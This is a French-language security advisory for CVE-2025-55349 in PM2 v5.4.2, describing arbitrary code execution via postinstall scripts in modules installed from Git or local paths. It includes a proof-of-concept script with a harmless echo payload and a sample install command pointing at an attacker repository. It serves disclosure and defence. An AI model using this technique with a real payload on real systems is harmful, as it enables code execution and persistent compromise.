
référentiel pour CVE-2025-55349
postinstallDécouvreur: Golden Ticket Labs
Fournisseur: Unitech (pm2)
Date d'attribution: 20 août 2025 (MITRE)
Un problème dans le composant lib/API/Modules/NPM.js de Unitech PM2 v5.4.2 permet l'exécution de code arbitraire en installant des paquets avec des scripts postinstall malveillants.
PM2 exécute automatiquement les scripts de cycle de vie postinstall provenant d'installations basées sur Git ou de fichiers locaux sans sandboxing ni confirmation de l'utilisateur, y compris lorsqu'il est invoqué via :
Cette vulnérabilité persiste même si le module est cassé ou non fonctionnel, et le code de l'attaquant peut survivre aux redémarrages système lorsqu'il est enregistré en tant que module de démarrage PM2.
≤ 5.4.2 — Vulnérable
6.0.5 — Corrigée — Logique d'analyse Git supprimée (PR #5909), mais le correctif n'était pas documenté et absent des journaux de modifications.
Un attaquant peut préparer un dépôt Git malveillant avec un fichier package.json contenant un script postinstall modifié. Une fois installé via PM2, le script s'exécute automatiquement :
pm2 install https://github.com/attacker/malicious-module.git
Exécution de code contrôlé par l'attaquant lors de l'installation
Persistance via les modules de démarrage gérés par PM2
Mouvement latéral potentiel dans des environnements utilisant des installations partagées ou scriptées
PM2 considère les dépôts Git comme implicitement fiables lors de l'installation de modules. Les scripts de cycle de vie comme postinstall s'exécutent sans sandboxing, visibilité ni confirmation.
Cela affecte à la fois les URLs Git distantes et les chemins locaux file://, élargissant considérablement la surface d'attaque. Étant donné que les modules PM2 démarrent souvent au démarrage du système, le risque de persistance et de comportement non autorisé intégré est élevé.
Mettez à jour vers PM2 v6.0.5 ou plus récent, où la logique d'analyse Git a été supprimée.
Évitez d'installer des modules provenant de sources Git non fiables.
⚠️ Aucun code d'exploitation armé n'est fourni. Ceci est une démonstration sécurisée.
# Créer un dépôt malveillant
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Déclencher l'installation (sur pm2 v5.4.2 vulnérable)
pm2 install file://$PWD/pm2-evil
Sur les versions vulnérables, la commande postinstall s'exécute immédiatement.
Commit de correctif (suppression de la logique d'analyse Git)
Publication de PM2 v6.0.5
Tout le contenu de ce dépôt est fourni à des fins éducatives et défensives uniquement. Aucune charge utile d'exploitation n'est incluse. N'utilisez pas ces techniques contre des systèmes sans autorisation explicite.
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com